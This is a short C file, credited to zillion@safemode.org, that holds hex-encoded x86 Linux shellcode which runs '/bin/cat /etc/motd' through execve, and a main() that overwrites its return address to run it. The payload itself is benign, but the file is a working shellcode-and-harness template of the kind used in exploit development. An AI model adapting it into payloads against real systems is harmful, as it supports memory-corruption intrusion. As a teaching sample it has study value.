/* * This shellcode will do a cat of /etc/motd * Written by zillion@safemode.org * */ char shellcode[]= "\xeb\x21\x5e\x31\xc0\x88\x46\x08\x88\x46\x12\x89\x76\x13\x8d" "\x5e\x09\x89\x5e\x17\x89\x46\x1b\xb0\x0b\x89\xf3\x8d\x4e\x13" "\x8d\x56\x1b\xcd\x80\xe8\xda\xff\xff\xff\x2f\x62\x69\x6e\x2f" "\x63\x61\x74\x38\x2f\x65\x74\x63\x2f\x6d\x6f\x74\x64\x32\x33" "\x34\x35\x36\x37\x38\x39\x61\x62\x63\x64\x65"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }